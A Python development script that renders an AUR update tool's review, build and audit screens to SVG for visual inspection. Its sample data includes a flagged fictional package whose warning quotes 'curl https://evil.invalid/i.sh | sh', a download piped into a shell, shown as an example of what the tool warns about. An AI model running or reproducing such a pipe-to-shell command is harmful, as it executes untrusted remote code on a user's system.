#!/usr/bin/env python3
"""Export the real renderers to SVG/PNG for visual review.
This is a development tool, not part of the program: the program never picks
colours. Here we bind the ANSI-16 slots the renderers emit onto a concrete
terminal palette purely so the output can be inspected as an image.
Uses real data throughout -- the real AUR corpus, the real dependency graph, the
real git history of a cloned package -- except the repository section, which is a
stand-in because the sync databases here are stale and there is no network to
refresh them.
"""
from __future__ import annotations
import subprocess
import sys
from pathlib import Path
ROOT = Path(__file__).resolve().parent.parent
sys.path.insert(0, str(ROOT))
from rich.console import Console # noqa: E402
from rich.terminal_theme import TerminalTheme # noqa: E402
from updater import icons # noqa: E402
from updater.audit import Change, audit # noqa: E402
from updater.buildgraph import build_graph # noqa: E402
from updater.procwatch import BuildState # noqa: E402
from updater.render import ( # noqa: E402
AurRow, CheckRow, Columns, FeedEntry, RepoRow, Review, Screen, Step, Totals,
VcsRow, audit_screen, build_screen, review_screen,
)
from updater.srcinfo import load, parse_pkgbuild, parse_srcinfo # noqa: E402
from updater.theme import Theme # noqa: E402
CLONE = Path.home() / ".cache/paru/clone"
OUT = ROOT / "preview"
WIDTH = 100
def hexrgb(value: str) -> tuple[int, int, int]:
value = value.lstrip("#")
return tuple(int(value[i:i + 2], 16) for i in (0, 2, 4)) # type: ignore[return-value]
# The ANSI-16 slots as a terminal defines them. Ours to bind, not to choose.
PALETTES = {
"kitty-noctalia": TerminalTheme(
background=(0, 0, 0), foreground=hexrgb("#f2f2f3"),
normal=[hexrgb(c) for c in ("#28242d", "#fd4663", "#9f8bc1", "#ad81b1",
"#ad859e", "#baacd3", "#cdafd0", "#f2f2f3")],
bright=[hexrgb(c) for c in ("#6b6574", "#fd4663", "#9f8bc1", "#ad81b1",
"#ad859e", "#baacd3", "#cdafd0", "#f2f2f3")]),
"sagen-teal": TerminalTheme(
background=(0, 0, 0), foreground=hexrgb("#dcece9"),
normal=[hexrgb(c) for c in ("#050b0a", "#cc5665", "#5bc0ae", "#d4b07b",
"#588b9c", "#9e82aa", "#7cf5de", "#c7dbd8")],
bright=[hexrgb(c) for c in ("#1b2623", "#e86f7f", "#69debb", "#e3c88a",
"#66acbc", "#b491c2", "#8cfce6", "#dcece9")]),
}
def git_show(repo: Path, rev: str, path: str) -> str:
result = subprocess.run(["git", "-C", str(repo), "show", f"{rev}:{path}"],
capture_output=True, text=True)
return result.stdout if result.returncode == 0 else ""
def real_graph() -> tuple:
"""The genuine dependency graph for a set of installed AUR packages."""
targets = {
"semgrep-bin", "termux-language-server", "python-boltons", "python-glom",
"python-lsp-tree-sitter", "python-tree-sitter", "python-tree-sitter-bash",
"python-click-option-group", "python-face",
"python-opentelemetry-instrumentation-requests",
"python-opentelemetry-util-http",
"python-opentelemetry-instrumentation-threading",
}
infos = {}
for name in targets:
info, _ = load(CLONE, name)
if info:
infos[name] = info
# candidates == every target, not just the ones already cloned, so packages
# whose .SRCINFO is missing are reported rather than silently dropped
return build_graph(infos, targets)
def screens() -> dict[str, list]:
theme = Theme.default()
glyphs = icons.glyphs("unicode")
nerd = icons.glyphs("nerd")
graph = real_graph()
# ---- review ----------------------------------------------------------
review = Review(
meta="arch linux · rolling · 2026-09-28",
repo=[
RepoRow("U", "linux", "6.16.7.arch1-1", "6.16.8.arch1-1", "1.4 MiB"),
RepoRow("U", "mesa", "1:25.2.2-1", "1:25.2.3-1", "142.2 MiB"),
RepoRow("U", "python-rich", "14.0.0-1", "14.1.0-1", "1.1 MiB"),
RepoRow("N", "rebuild-detector", "-", "5-1", "12 KiB"),
RepoRow("R", "linux-kepler", "6.15.9-1", "-", "-310 MiB"),
],
repo_total=184, repo_download=1_258_291_200, repo_delta=503_316_480,
aur=[
AurRow("U", "helium-browser-bin", "0.9.2-1", "0.9.3-1", "PKGBUILD +3 -1"),
AurRow("!", "enca-bin", "1.19-4", "1.19-5", "changed maintainer", loud=True,
details=["maintainer changed (Felp98 -> mkolb)"]),
AurRow("!!", "sketchy-tool-bin", "2.1.0-1", "2.2.0-1",
"pipes a download straight into a shell", loud=True,
details=["pipes a download straight into a shell",
"curl https://evil.invalid/i.sh | sh"]),
],
aur_total=23, aur_build=21,
vcs=[VcsRow("helix-git", "r9021 → r9044"),
VcsRow("mangowm-git", "a1b2c → e9f01"),
VcsRow("noctalia-git", "r1204 → r1288"),
VcsRow("flow-control-git", "r412 → r418")],
checks=[CheckRow(True, "arch-audit", "no CVEs among pending upgrades"),
CheckRow(True, "news", "no unread items affecting this update"),
CheckRow(False, "pacnew", "2 unresolved config files"),
CheckRow(True, "snapshot", "root@241 pre-update, important")],
steps=[Step("1", "pacman -Su", "184 packages · 1.2 GiB download"),
Step("2", "paru -Sua", "21 packages built from source · ~8 min"),
Step("3", "restart", "12 services affected · reboot recommended")],
)
# ---- build dashboard -------------------------------------------------
# only packages that actually have metadata can be running or finished; a
# package with no .SRCINFO cannot have been built by us
states = [
BuildState("python-tree-sitter-bash", "cargo", 12.0),
BuildState("python-lsp-tree-sitter", "compile", 62.0),
BuildState("termux-language-server", "python", 4.0),
]
feed = [
FeedEntry("python-tree-sitter", "0.26.0-1", 38.0, shared=True),
FeedEntry("python-boltons", "26.2.0-1", 8.0),
]
totals = Totals(total=12, elapsed=252.0, eta=108.0, download_bytes=13_002_000,
download_rate=3_100_000, download_remaining=8_600_000,
download_eta=3)
dash = dict(graph=graph, theme=theme, width=WIDTH, feed=feed, states=states,
completed={"python-tree-sitter", "python-boltons"},
running={s.package for s in states}, failed=set(),
totals=totals, parallelism="16 cores · 8 workers")
# ---- audit, from a genuine historical change -------------------------
pkg = "python-tree-sitter-bash"
repo = CLONE / pkg
revs = subprocess.run(["git", "-C", str(repo), "log", "--format=%H", "--", "PKGBUILD"],
capture_output=True, text=True).stdout.split()
old_pb, new_pb = git_show(repo, revs[1], "PKGBUILD"), git_show(repo, revs[0], "PKGBUILD")
change = Change(
package=pkg,
old_srcinfo=parse_srcinfo(git_show(repo, revs[1], ".SRCINFO")),
new_srcinfo=parse_srcinfo(git_show(repo, revs[0], ".SRCINFO")),
old_pkgbuild=parse_pkgbuild(old_pb), new_pkgbuild=parse_pkgbuild(new_pb),
old_maintainer="olddev", new_maintainer="kuglee",
)
report = audit(change)
report.findings.insert(0, type(report.findings[0])(
"maintainer-changed", __import__("updater.audit", fromlist=["Severity"]).Severity.LOOK,
"package changed maintainer", "olddev -> kuglee")) if report.findings else None
return {
"1-review": lambda s: review_screen(review, theme=theme, glyphs=glyphs,
width=WIDTH, into=s),
"2-build": lambda s: build_screen(**dash, glyphs=nerd, into=s),
"3-build-unicode": lambda s: build_screen(**dash, glyphs=glyphs, into=s),
"4-ledger": lambda s: build_screen(**dash, glyphs=nerd, dashboard=False, into=s),
"5-audit": lambda s: audit_screen(report, theme=theme, glyphs=glyphs,
width=WIDTH, old_text=old_pb, new_text=new_pb,
title=f"{pkg} · AUR", into=s),
}
def main() -> int:
OUT.mkdir(exist_ok=True)
theme = Theme.default()
for name, render in screens().items():
for palette_name, palette in PALETTES.items():
if palette_name != "kitty-noctalia" and not name.startswith("2-"):
continue
screen = Screen(theme=theme, glyphs=icons.glyphs("unicode"),
columns=Columns.for_width(WIDTH))
lines = render(screen)
suffix = "" if palette_name == "kitty-noctalia" else f"--{palette_name}"
stem = OUT / f"{name}{suffix}"
console = Console(record=True, width=WIDTH, force_terminal=True,
color_system="standard", height=300)
for line in lines:
console.print(line)
console.save_svg(f"{stem}.svg", font_aspect_ratio=0.5, theme=palette)
(OUT / f"{name}{suffix}.txt").write_text(
"\n".join(l.plain for l in lines))
print(f"{stem.name}: {len(lines)} lines, "
f"clipped={screen.clipped}, "
f"max={max(l.cell_len for l in lines)} cells")
return 0
if __name__ == "__main__":
raise SystemExit(main())